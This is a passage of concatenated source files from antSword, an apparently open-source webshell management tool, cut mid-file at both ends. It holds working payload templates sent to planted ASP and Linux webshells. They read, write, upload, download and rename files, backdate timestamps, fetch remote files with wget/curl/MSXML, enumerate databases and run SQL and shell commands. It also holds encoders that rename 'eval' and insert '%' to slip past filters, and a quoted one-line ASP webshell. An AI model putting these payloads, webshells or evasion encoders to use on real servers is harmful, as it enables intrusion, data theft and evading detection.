Then:Response.Write("ERROR:// "&Err.Description):Else:Response.Write("1"):End If`, [arg1]: "#{hex::path}", [arg2]: "#{hex::content}" }, read_file: { _: `Response.Write(CreateObject("Scripting.FileSystemObject").OpenTextfile(bd(Request("${arg1}")),1,False).readall):If Err Then:Response.Write("ERROR:// "&Err.Description):Err.Clear:End If`, [arg1]: "#{hex::path}" }, copy: { _: `SF=bd(Request("${arg1}")):DF=bd(Request("${arg2}")):Set Fs=CreateObject("Scripting.FileSystemObject"):If Fs.FolderExists(SF) Then:Fs.CopyFolder SF,DF:Else:Fs.CopyFile SF,DF:End If:Set Fs=Nothing:If Err Then:SI="ERROR:// "&Err.Description:else:SI="1":End If:Response.Write(SI)`, [arg1]: "#{hex::path}", [arg2]: "#{hex::target}" }, download_file: { _: `Dim i,c,r:Set S=Server.CreateObject("Adodb.Stream"):If Not Err Then:With S:.Mode=3:.Type=1:.Open:.LoadFromFile(bd(Request("${arg1}"))):i=0:c=.Size:r=1024:While i<c:Response.BinaryWrite .Read(r):Response.Flush:i=i+r:Wend:.Close:Set S=Nothing:End With:Else:Response.BinaryWrite "ERROR:// "&Err.Description:End If`, [arg1]: "#{hex::path}" }, upload_file: { _: `Dim l,ss,ff,T:ff=bd(request("${arg1}")):ss=Request("${arg2}"):l=Len(ss):Set S=Server.CreateObject("Adodb.Stream"):With S:.Type=1:.Mode=3:.Open:On Error Resume Next:.LoadFromFile ""&ff&"":.Position=.Size:If Err Then:Err.Clear:End If:set rs=CreateObject("ADODB.Recordset"):rs.fields.append "bb",205,l/2:rs.open:rs.addnew:rs("bb")=ss+chrb(0):rs.update:.Write rs("bb").getchunk(l/2):rs.close:Set rs=Nothing:.Position=0:.SaveToFile ""&ff&"",2:.Close:End With:Set S=Nothing:If Err Then:T=Err.Description:Err.Clear:Else:T="1":End If:Response.Write(T)`, [arg1]: "#{hex::path}", [arg2]: "#{buffer::content}", [arg3]: "1" }, rename: { _: `SF=bd(Request("${arg1}")):DF=bd(Request("${arg2}")):Set Fs=CreateObject("Scripting.FileSystemObject"):If Fs.FolderExists(SF) Then:Fs.MoveFolder SF,DF:Else:Fs.MoveFile SF,DF:End If:Set Fs=Nothing:If Err Then:SI="ERROR:// "&Err.Description:Else:SI="1":End If:Response.Write(SI)`, [arg1]: "#{hex::path}", [arg2]: "#{hex::name}" }, retime: { _: `FN=bd(Request("${arg1}")):TM=bd(Request("${arg2}")):AA=Split(FN,"\\"):PT="":For i=LBound(AA) To UBound(AA)-1:PT=PT&AA(i)&"\\":Next:NM=AA(UBound(AA)):Server.CreateObject("Shell.Application").NameSpace(PT).ParseName(NM).Modifydate=TM:If Err Then:SI="ERROR:// "&PT&Err.Description:Err.Clear:Else:SI="1":End If:Response.Write(SI)`, [arg1]: "#{hex::path}", [arg2]: "#{hex::time}" }, mkdir: { _: `Set Fs=CreateObject("Scripting.FileSystemObject"):Fs.CreateFolder(bd(Request("${arg1}"))):Set Fs=Nothing:If Err Then:S="ERROR:// "&Err.Description:Else:S="1":End If:Response.Write(S)`, [arg1]: "#{hex::path}" }, wget: { _: `Dim SI:Set x=CreateObject("MSXML2.ServerXmlHttp"):x.Open "GET",""&bd(Request("${arg1}"))&"",0:x.Send():If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:set s=CreateObject("ADODB.Stream"):s.Mode=3:s.Type=1:s.Open():s.Write x.ResponseBody:s.SaveToFile ""&bd(Request("${arg2}"))&"",2:If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:SI="1":End If:Set x=Nothing:Set s=Nothing:End If:Response.Write(SI)`, [arg1]: "#{hex::url}", [arg2]: "#{hex::path}" }, filehash: { _: ``.replace(/\n\s+/g, ''), [arg1]: '#{hex::path}', }, }) ```
/content/code_sandbox/source/core/asp/template/filemanager.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
1,551
```javascript /** * */ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ // show_databases: { _: `Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open bd(Request("${arg1}")):If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:SI="[ADO DATABASE]"&chr(9):Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`, [arg1]: '#{hex::conn}' }, // show_tables: { _: `Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open ""&bd(Request("${arg1}"))&"":If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Set Rs=Conn.OpenSchema(20):Rs.MoveFirst:SI="":Do While Not Rs.Eof:If Rs("TABLE_TYPE")="TABLE" Then:SI=SI&Rs("TABLE_NAME")&chr(9):End If:Rs.MoveNext:Loop:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`, [arg1]: '#{hex::conn}', }, // show_columns: { _: `Function TN(n):Select Case n:Case 2:TN="smallint":Case 3:TN="int":Case 4:TN="real":Case 5:TN="float":Case 6:TN="money":Case 7:TN="datetime":Case 11:TN="bit":Case 12:TN="variant":Case 16:TN="tinyint":Case 17:TN="tinyint":Case 20:TN="bigint":Case 72:TN="unique":Case 128:TN="binary":Case 129:TN="char":Case 130:TN="nchar":Case 131:TN="numeric":Case 135:TN="datetime":Case 200:TN="varchar":Case 201:TN="text":Case 202:TN="nvarchar":Case 203:TN="ntext":Case 204:TN="varbinary":Case 205:TN="image":Case Else:TN=n:End Select:End Function:Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open ""&bd(Request("${arg1}"))&"":If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Set Rs=CreateObject("Adodb.Recordset"):Rs.open ""&bd(Request("${arg2}"))&"",Conn,1,1:If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:For n=0 To Rs.Fields.Count-1:SI=SI&Rs.Fields.Item(n).Name&" ("&TN(Rs.Fields.Item(n).Type)&")"&chr(9):Next:Rs.Close:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`, [arg1]: '#{hex::conn}', [arg2]: '#{hex::table}' }, // SQL query: { _: `Set Conn=Server.CreateObject("Adodb.connection"):Conn.Open ""&bd(Request("${arg1}"))&"":Dim CO,HD,RN:CO=chr(9)&chr(124)&chr(9):RN=chr(13)&chr(10):HD="Result"&CO&RN:If Err Then:Response.Write HD&Err.Description&CO&RN:Err.Clear:Else:Set Rs=Conn.Execute(""&bd(Request("${arg2}"))&""):If Err Then:Response.Write HD&Err.Number&":"&Err.Description&CO&RN:Err.Clear:Else:Dim FN:FN=Rs.Fields.Count-1:For n=0 To FN:Response.Write Rs.Fields.Item(n).Name&CO:Next:Response.Write RN:Do While Not(Rs.Eof Or Rs.Bof):For n=0 To FN:Response.Write Rs(n):Response.Write CO:Next:Response.Write RN:Rs.MoveNext:Loop:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:`, [arg1]: '#{hex::conn}', [arg2]: '#{hex::sql}', } }) ```
/content/code_sandbox/source/core/asp/template/database/default.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
912
```javascript // // ASP::DNS // module.exports = require('./default'); ```
/content/code_sandbox/source/core/asp/template/database/dsn.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
17
```javascript // // ASP::sqloledb_1_sspi // module.exports = require('./default'); ```
/content/code_sandbox/source/core/asp/template/database/sqloledb_1_sspi.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
24
```javascript // // ASP::sqloledb_1 // module.exports = require('./default'); ```
/content/code_sandbox/source/core/asp/template/database/sqloledb_1.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
22
```javascript /** * ASP::access */ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ // show_databases: { _: `Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open bd(Request("${arg1}")):If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:SI="[ADO DATABASE]"&chr(9):Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`, [arg1]: '#{hex::conn}', // [arg2]: '#{dbname}' }, // show_tables: { _: `Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open ""&bd(Request("${arg1}"))&"":If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Set Rs=Conn.OpenSchema(20):Rs.MoveFirst:SI="":Do While Not Rs.Eof:If Rs("TABLE_TYPE")="TABLE" Then:SI=SI&Rs("TABLE_NAME")&chr(9):End If:Rs.MoveNext:Loop:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`, [arg1]: '#{hex::conn}', }, // show_columns: { _: `Function TN(n):Select Case n:Case 2:TN="smallint":Case 3:TN="int":Case 4:TN="real":Case 5:TN="float":Case 6:TN="money":Case 7:TN="datetime":Case 11:TN="bit":Case 12:TN="variant":Case 16:TN="tinyint":Case 17:TN="tinyint":Case 20:TN="bigint":Case 72:TN="unique":Case 128:TN="binary":Case 129:TN="char":Case 130:TN="nchar":Case 131:TN="numeric":Case 135:TN="datetime":Case 200:TN="varchar":Case 201:TN="text":Case 202:TN="nvarchar":Case 203:TN="ntext":Case 204:TN="varbinary":Case 205:TN="image":Case Else:TN=n:End Select:End Function:Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open ""&bd(Request("${arg1}"))&"":If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Set Rs=CreateObject("Adodb.Recordset"):Rs.open ""&bd(Request("${arg2}"))&"",Conn,1,1:If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:For n=0 To Rs.Fields.Count-1:SI=SI&Rs.Fields.Item(n).Name&" ("&TN(Rs.Fields.Item(n).Type)&")"&chr(9):Next:Rs.Close:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`, [arg1]: '#{hex::conn}', [arg2]: '#{hex::table}' }, // SQL query: { _: `Set Conn=Server.CreateObject("Adodb.connection"):Conn.Open ""&bd(Request("${arg1}"))&"":Dim CO,HD,RN:CO=chr(9)&chr(124)&chr(9):RN=chr(13)&chr(10):HD="Result"&CO&RN:If Err Then:Response.Write HD&Err.Description&CO&RN:Err.Clear:Else:Set Rs=Conn.Execute(""&bd(Request("${arg2}"))&""):If Err Then:Response.Write HD&Err.Number&":"&Err.Description&CO&RN:Err.Clear:Else:Dim FN:FN=Rs.Fields.Count-1:For n=0 To FN:Response.Write Rs.Fields.Item(n).Name&CO:Next:Response.Write RN:Do While Not(Rs.Eof Or Rs.Bof):For n=0 To FN:Response.Write Rs(n):Response.Write CO:Next:Response.Write RN:Rs.MoveNext:Loop:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:`, [arg1]: '#{hex::conn}', [arg2]: '#{hex::sql}', } }) ```
/content/code_sandbox/source/core/asp/template/database/access.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
924
```javascript // // ASP::mysql // module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ // show_databases: { _: `Set Conn=Server.CreateObject("Adodb.connection"): Dim SI: Conn.Open bd(Request("${arg1}")): If Err Then: SI="ERROR:// "&Err.Description: Err.Clear: Else: Set Rs=CreateObject("Adodb.Recordset"): Rs.open "select [name] from master.dbo.sysdatabases order by 1",Conn,1,1: If Err Then: SI="ERROR:// "&Err.Description: Err.Clear: Else: Do While Not(Rs.Eof Or Rs.Bof): SI=SI&Rs(0)&chr(9): Rs.MoveNext: Loop: Rs.Close: End If: Set Rs=Nothing: Conn.Close: End If: Set Conn=Nothing: Response.Write(SI):`.replace(/\n\s+/g, ''), [arg1]: '#{hex::conn}' }, // show_tables: { _: `Set Conn=Server.CreateObject("Adodb.connection"): Dim SI: Conn.Open ""&bd(Request("${arg1}"))&"": If Err Then: SI="ERROR:// "&Err.Description: Err.Clear: Else: Set Rs=Conn.Execute("USE ["&Request("${arg2}")&"];SELECT [name] FROM sysobjects WHERE (xtype=\'U\') ORDER BY 1"): If Err Then: SI="ERROR:// "&Err.Description: Err.Clear: Else: Do While Not(Rs.Eof Or Rs.Bof): SI=SI&Rs(0)&chr(9): Rs.MoveNext: Loop: End If: Set Rs=Nothing: Conn.Close: End If: Set Conn=Nothing: Response.Write(SI):`.replace(/\n\s+/g, ''), [arg1]: '#{hex::conn}', [arg2]: '#{dbname}' }, // show_columns: { _: `Set Conn=Server.CreateObject("Adodb.connection"): Dim SI: Conn.Open ""&bd(Request("${arg1}"))&"": If Err Then: SI="ERROR:// "&Err.Description: Err.Clear: Else: Set Rs=CreateObject("Adodb.Recordset"): Rs.open ""&bd(Request("${arg2}"))&"",Conn,1,1: If Err Then: SI="ERROR:// "&Err.Description: Err.Clear: Else: For n=0 To Rs.Fields.Count-1: SI=SI&Rs.Fields.Item(n).Name&chr(9): Next: Rs.Close: End If: Set Rs=Nothing: Conn.Close: End If: Set Conn=Nothing: Response.Write(SI):`.replace(/\n\s+/g, ''), [arg1]: '#{hex::conn}', [arg2]: '#{hex::table}' }, // SQL query: { _: `Set Conn=Server.CreateObject("Adodb.connection"): Conn.Open ""&bd(Request("${arg1}"))&"": Conn.DefaultDatabase=""&Request("${arg3}")&"": Dim CO,HD,RN: CO=chr(9)&chr(124)&chr(9): RN=chr(13)&chr(10): HD="Result"&CO&RN: If Err Then: Response.Write HD&Err.Description&CO&RN: Err.Clear: Else: Set Rs=Conn.Execute(""&bd(Request("${arg2}"))&""): If Err Then: Response.Write HD&Err.Number&":"&Err.Description&CO&RN: Err.Clear: Else: Dim FN: FN=Rs.Fields.Count-1: If FN=-1 Then: Response.Write HD&"Execute Successfully!"&CO&RN: Else: For n=0 To FN: Response.Write Rs.Fields.Item(n).Name&CO: Next: Response.Write RN: Do While Not(Rs.Eof Or Rs.Bof): For n=0 To FN: Response.Write Rs(n): Response.Write CO: Next: Response.Write RN: Rs.MoveNext: Loop: End If: End If: Set Rs=Nothing: Conn.Close: End If: Set Conn=Nothing:`.replace(/\n\s+/g, ''), [arg1]: '#{hex::conn}', [arg2]: '#{hex::sql}', [arg3]: '#{dbname}' } }) ```
/content/code_sandbox/source/core/asp/template/database/sqlserver.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
1,006
```javascript // // asp::xxxx // // :eval xxxx /* <%Function xxxx(str) eval str End Function%><%D = request("ant")%><%xxxx D%> ant */ 'use strict'; module.exports = (pwd, data, ext = null) => { data[pwd] = data['_'].replace(/eval/ig, 'xxxx'); delete data['_']; return data; } ```
/content/code_sandbox/source/core/asp/encoder/xxxxdog.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
88
```javascript /** * asp::insert_percent * % * Create at: 2019/04/19 15:49:43 * <%eval request("ant")%> */ 'use strict'; /* * @param {String} pwd * @param {Array} data payload * @return {Array} data payload */ module.exports = (pwd, data) => { let _tmp = data['_'].replace(/(eval|cute|execute|server|script|timeout|resume|next|function|for|else|response|mid|end|step|write|then|isnumeric)/ig, function ($, $1) { // asunescape(%) URL return $1 .split('') .join('asunescape(%)'); }); data[pwd] = Buffer.from(_tmp); delete data['_']; return data; } ```
/content/code_sandbox/source/core/asp/encoder/insert_percent.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
195
```javascript /** * cmdlinux::hex */ 'use strict'; module.exports = { /** * @returns {string} asenc */ asoutput: () => { return `asenc(){ command_exists() { command -v "$@" > /dev/null 2>&1; }; if command_exists xxd; then xxd -ps "$@"; elif command_exists python3; then echo -n "$@"|python3 -c "import sys, binascii; sys.stdout.buffer.write(binascii.hexlify(input().strip().encode()))"; fi };`.replace(/\n\s+/g, '') }, /** * Buffer * @param {Buffer} buff Buffer * @returns {Buffer} Buffer */ decode_buff: (buff) => { return Buffer.from(buff.toString().replace(/\n/g, ''), 'hex'); } } ```
/content/code_sandbox/source/core/cmdlinux/decoder/hex.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
199
```javascript /** * CMDLinux */ 'use strict'; // import Base from '../base'; const Base = require('../base'); class CMDLINUX extends Base { static get supportRawBody() { return true; } constructor(opts) { super(opts); // [ 'base', 'command', 'filemanager', 'database/mysql', 'database/sqlite3', ].map((_) => { this.parseTemplate(`./cmdlinux/template/${_}`); }); // this .encoders .map((_) => { this.parseEncoder(`./cmdlinux/encoder/${_}`); }); this .decoders .map((_) => { this.parseDecoder(`./cmdlinux/decoder/${_}`); }); } /** * * ? antSword.core.php.prototype.encoders * @return {array} */ get encoders() { return ["base64"]; } get decoders() { return ["default", "base64", "hex"]; } /** * HTTP * @param {Object} data * @param {bool} force_default default * @return {Promise} Promise */ complete(data, force_default = false) { // let tag_s, tag_e; if (this.__opts__['otherConf'].hasOwnProperty('use-custom-datatag') && this.__opts__['otherConf']['use-custom-datatag'] == 1 && this.__opts__['otherConf']['custom-datatag-tags']) { tag_s = this.__opts__['otherConf']['custom-datatag-tags']; } else { tag_s = Math.random().toString(16).substr(2, parseInt(Math.random() * 8 + 5)); // "->|"; } if (this.__opts__['otherConf'].hasOwnProperty('use-custom-datatag') && this.__opts__['otherConf']['use-custom-datatag'] == 1 && this.__opts__['otherConf']['custom-datatag-tage']) { tag_e = this.__opts__['otherConf']['custom-datatag-tage']; } else { tag_e = Math.random().toString(16).substr(2, parseInt(Math.random() * 8 + 5)); // "|<-"; } let asencCode; let ext = { opts: this.__opts__, }; if (!force_default) { asencCode = this.__decoder__[this.__opts__['decoder'] || 'default'].asoutput(ext); } else { asencCode = this.__decoder__['default'].asoutput(ext); } // let tmpCode = data['_']; data['_'] = `export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin;TAGS="${tag_s.substr(0,tag_s.length/2)}""${tag_s.substr(tag_s.length/2)}";TAGE="${tag_e.substr(0,tag_e.length/2)}""${tag_e.substr(tag_e.length/2)}";${asencCode}asexec() { ${tmpCode} };echo -n "$TAGS";asexec|asenc;echo -n "$TAGE";`; // return this.encodeComplete(tag_s, tag_e, data); } } module.exports = CMDLINUX; ```
/content/code_sandbox/source/core/cmdlinux/index.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
738
```javascript /** * cmdlinux::default */ 'use strict'; module.exports = { /** * @returns {string} asenc */ asoutput: () => { return `asenc(){ cat "$@"; };`.replace(/\n\s+/g, ''); }, /** * Buffer * @param {Buffer} buff Buffer * @returns {Buffer} Buffer */ decode_buff: (buff) => { return buff; } } ```
/content/code_sandbox/source/core/cmdlinux/decoder/default.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
105
```javascript /** * cmdlinux::base64 */ 'use strict'; module.exports = { /** * @returns {string} asenc */ asoutput: () => { return `asenc(){ base64 "$@"; };` }, /** * Buffer * @param {Buffer} buff Buffer * @returns {Buffer} Buffer */ decode_buff: (buff) => { return Buffer.from(buff.toString(), 'base64'); } } ```
/content/code_sandbox/source/core/cmdlinux/decoder/base64.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
107
```javascript /** * * ? */ module.exports = () => ({ info: { _: `ACWD=$(pwd); AUNAME=$(uname -a); AUSER=$(whoami); echo -n "$ACWD\t/\t$AUNAME\t$AUSER";`.replace(/\n\s+/g, '') }, probedb: { // _: `command_exists() { command -v "$@" > /dev/null 2>&1; }; DBLIST="mysql psql sqlite3"; for v in $DBLIST; do if command_exists $v; then echo -n "$v\t1"; else echo -n "$v\t0"; fi; done;`.replace(/\n\s+/g, '') } }) ```
/content/code_sandbox/source/core/cmdlinux/template/base.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
164
```javascript /** * */ module.exports = (arg1, arg2, arg3) => ({ exec: { _: `command_exists() { command -v "$@" > /dev/null 2>&1; }; AENVSTR="#{buffer::env}"; if command_exists xxd; then ENVSTR=$(echo -n $AENVSTR|xxd -r -p); elif command_exists python3; then ENVSTR=$(echo -n $AENVSTR|python3 -c "import sys, binascii; sys.stdout.buffer.write(binascii.unhexlify(input().strip()))"); else ENVSTR=$(echo -n $AENVSTR|sed 's/\\([0-9A-F]\\{2\\}\\)/\\\\\\\\\\\\x\\1/gI'|xargs printf); fi; while [ $ENVSTR ]; do ASLINE=\${ENVSTR%%"|||asline|||"*}; ENVSTR=\${ENVSTR#*"|||asline|||"}; export \${ASLINE%%"|||askey|||"*}=\${ASLINE#*"|||askey|||"}; done; #{bin} -c '#{cmd}';`.replace(/\n\s+/g, ''), }, listcmd: { _: `CMDLIST="#{binarr}"; OLD_IFS=$IFS; IFS=","; for v in $CMDLIST; do if [ -f $v ]; then echo -e "$v\\t1"; else echo -e "$v\\t0"; fi; done;`.replace(/\n\s+/g, '') } }) ```
/content/code_sandbox/source/core/cmdlinux/template/command.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
359
```javascript /** * ::mysql * i => \t|\t */ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ // show_databases: { _: `APWD="#{passwd}"; if [ -z $APWD ]; then MYSQLPWD=""; else MYSQLPWD="-p\${APWD}"; fi; mysql --raw -N -B -h#{host} -u#{user} $MYSQLPWD -e "show databases;"|while read DBRES; do echo -n "$DBRES\t"; done;`, }, // show_tables: { _: `APWD="#{passwd}"; if [ -z $APWD ]; then MYSQLPWD=""; else MYSQLPWD="-p\${APWD}"; fi; mysql --raw -N -B -h#{host} -u#{user} $MYSQLPWD -D#{db} -e "show tables;"|while read DBRES; do echo -n "$DBRES\t"; done;` }, // show_columns: { _: `APWD="#{passwd}"; if [ -z $APWD ]; then MYSQLPWD=""; else MYSQLPWD="-p\${APWD}"; fi; mysql --raw -N -B -h#{host} -u#{user} $MYSQLPWD -D#{db} -e "select concat(column_name,0x2028,column_type,0x29) from information_schema.COLUMNS where TABLE_SCHEMA=0x#{buffer::db} and TABLE_NAME=0x#{buffer::table};"|while read DBRES; do echo -n "$DBRES\t"; done;` }, // SQL query: { _: `APWD="#{passwd}"; if [ -z $APWD ]; then MYSQLPWD=""; else MYSQLPWD="-p\${APWD}"; fi; mysql --xml --raw -B -h#{host} -u#{user} $MYSQLPWD -D#{db} <<'EOF' #{sql}; SELECT ROW_COUNT() as "Affected Rows"; EOF ` } }) ```
/content/code_sandbox/source/core/cmdlinux/template/database/mysql.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
458
```javascript /** * :: sqlite3 * i => \\t|\\t */ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ // show_databases: { _: `SQLITEFILE="#{host}"; if [ -f $SQLITEFILE ]; then echo -n "main\t"; else echo -n "ERROR:// $SQLITEFILE not found."; fi; `, }, // show_tables: { _: `SQLITEFILE="#{host}"; if [ ! -f $SQLITEFILE ]; then echo -n "ERROR:// $SQLITEFILE not found."; exit; fi; sqlite3 $SQLITEFILE <<EOF .headers off .separator "" "\\t" select tbl_name from sqlite_master where type='table' order by tbl_name; EOF `, }, // show_columns: { _: `SQLITEFILE="#{host}"; if [ ! -f $SQLITEFILE ]; then echo -n "ERROR:// $SQLITEFILE not found."; exit; fi; sqlite3 $SQLITEFILE <<EOF .separator "" "\\t" .headers off select name," (",type,")" from pragma_table_info('#{table}'); EOF `, }, // SQL query: { _: `SQLITEFILE="#{host}"; if [ ! -f $SQLITEFILE ]; then echo -n "ERROR:// $SQLITEFILE not found."; exit; fi; sqlite3 $SQLITEFILE <<EOF .separator "\\t|\\t" "\\t|\\t\\r\\n" .headers on #{sql} EOF `, } }) ```
/content/code_sandbox/source/core/cmdlinux/template/database/sqlite3.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
357
```javascript /** * */ module.exports = (arg1, arg2, arg3) => ({ dir: { _: `cd #{path} && find . -maxdepth 1 \\( -type d -printf "%f/\\t%AY-%Am-%Ad %AH:%AM:%AS\\t%s\t%.4m\\n" \\) , \\( -not -type d -printf "%f\\t%AY-%Am-%Ad %AH:%AM:%AS\\t%s\\t%.4m\\n" \\)||echo -n "ERROR:// Path not found OR no Permission";` }, delete: { _: `rm -rf #{path} && echo -n 1||echo -n 0;`, }, create_file: { _: `command_exists() { command -v "$@" > /dev/null 2>&1; }; ACONTENT="#{buffer::content}"; ADSTPATH="#{path}"; if command_exists xxd; then echo -n $ACONTENT|xxd -r -p > $ADSTPATH && echo -n 1||echo -n 0; elif command_exists python3; then echo -n $ACONTENT|python3 -c "import sys, binascii; sys.stdout.buffer.write(binascii.unhexlify(input().strip()))">$ADSTPATH && echo -n 1||echo -n 0; else echo -n $ACONTENT|sed 's/\\([0-9A-F]\\{2\\}\\)/\\\\\\\\\\\\x\\1/gI'|xargs printf>$ADSTPATH && echo -n 1||echo -n 0; fi;`.replace(/\n\s+/g, '') }, read_file: { _: `cat #{path}||echo -n "ERROR:// File not found or no Permission";` }, copy: { _: `cp -af #{path} #{target} && echo -n 1||echo -n 0;` }, download_file: { _: `cat #{path}||echo -n "ERROR:// File not found or no Permission";` }, upload_file: { _: `command_exists() { command -v "$@" > /dev/null 2>&1; }; ACONTENT="#{buffer::content}"; ADSTPATH="#{path}"; if command_exists xxd; then echo -n $ACONTENT|xxd -r -p >> $ADSTPATH && echo -n 1||echo -n 0; elif command_exists python3; then echo -n $ACONTENT|python3 -c "import sys, binascii; sys.stdout.buffer.write(binascii.unhexlify(input().strip()))">>$ADSTPATH && echo -n 1||echo -n 0; else echo -n $ACONTENT|sed 's/\\([0-9A-F]\\{2\\}\\)/\\\\\\\\\\\\x\\1/gI'|xargs printf>>$ADSTPATH && echo -n 1||echo -n 0; fi;`.replace(/\n\s+/g, '') }, rename: { _: `mv #{path} #{name} && echo -n 1||echo -n 0;` }, retime: { _: `touch -d "#{time}" #{path} && echo -n 1||echo -n 0;` }, chmod: { _: `chmod #{mode} #{path} && echo -n 1||echo -n 0;` }, mkdir: { _: `mkdir -p #{path} && echo -n 1||echo -n 0;`, }, wget: { _: `command_exists() { command -v "$@" > /dev/null 2>&1; }; ascurl='' if command_exists curl; then ascurl='curl -ksSL -o'; elif command_exists wget; then ascurl='wget --no-check-certificate -qO'; elif command_exists busybox && busybox --list-modules | grep -q wget; then ascurl='busybox wget --no-check-certificate -qO' fi; $ascurl #{path} #{url} && echo -n 1||echo -n 0; `.replace(/\n\s+/g, '') }, filehash: { _: `command_exists() { command -v "$@" > /dev/null 2>&1; }; if command_exists md5sum; then asmd5=$(md5sum #{path}|awk '{print $1}'); echo -n "MD5\t$asmd5\n"; elif command_exists busybox && busybox --list-modules | grep -q md5sum; then asmd5=$(busybox md5sum #{path}|awk '{print $1}'); echo -n "MD5\t$asmd5\n"; fi; if command_exists sha1sum; then assha1=$(sha1sum #{path}|awk '{print $1}'); echo -n "SHA1\t$assha1\n"; elif command_exists busybox && busybox --list-modules | grep -q sha1sum; then assha1=$(busybox sha1sum #{path}|awk '{print $1}'); echo -n "SHA1\t$assha1\n"; fi; `.replace(/\n\s+/g, ''), }, }) ```
/content/code_sandbox/source/core/cmdlinux/template/filemanager.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
1,196
```javascript // // // const ENCODES = [ 'GBK', 'UTF8', 'BIG5', 'GB2312', 'Euc-KR', 'Euc-JP', 'Shift_JIS', 'ISO-8859-1', 'Windows-874', 'Windows-1251' ]; module.exports = ENCODES; ```
/content/code_sandbox/source/base/encodes.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
81
```javascript 'use strict'; /** * * @param {array} array * @param {array} excludes * @param {int} len , 6 */ function RandomChoice(array, excludes = [], len = 1) { var tmp = []; while (tmp.length < len) { let v = array[Math.ceil(Math.random() * array.length - 1)]; excludes.indexOf(v) === -1 && tmp.indexOf(v) === -1 && tmp.push(v); } return tmp; } /** * * @param {int} len ,1 */ function RandomLowercase(len = 1) { var result = []; for (var i = 0; i < len; i++) { var ranNum = Math.ceil(Math.random() * 25); //025 result.push(String.fromCharCode(97 + ranNum)); } return result.join(''); } module.exports = { RandomChoice, RandomLowercase, }; ```
/content/code_sandbox/source/base/utils.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
203
```javascript // // // 'use strict'; const iconv = require('iconv-lite'), jschardet = require('jschardet'); class Decodes { decode(buff, encoding) { return iconv.decode(buff, encoding); } /** * buffer * ref: path_to_url * @param buffer * @param options * - defaultEncoding * - minConfidence confidencedefaultEncoding * - verbose * @returns {*} */ detectEncoding(buffer, options) { options = options || {}; buffer = buffer || Buffer(''); var DEFAULT_ENCODING = 'GBK', MIN_CONFIDENCE = 0.96; var verbose = options.verbose; var defaultEncoding = options.defaultEncoding || DEFAULT_ENCODING; var minConfidence = options.minConfidence || MIN_CONFIDENCE; var ret = jschardet.detect(buffer), encoding = ret.encoding === 'ascii' ? 'utf-8' : ret.encoding, confidence = ret.confidence; // var VALID_ENCODINGS = ['gb2312', 'gbk', 'utf-8', 'big5', 'euc-kr','euc-jp']; if (encoding === null || !iconv.encodingExists(encoding) || confidence < minConfidence) { return verbose ? { encoding: defaultEncoding, oriEncoding: encoding, confidence: confidence } : defaultEncoding; } else { encoding = encoding.toUpperCase(); return verbose ? { encoding: encoding, 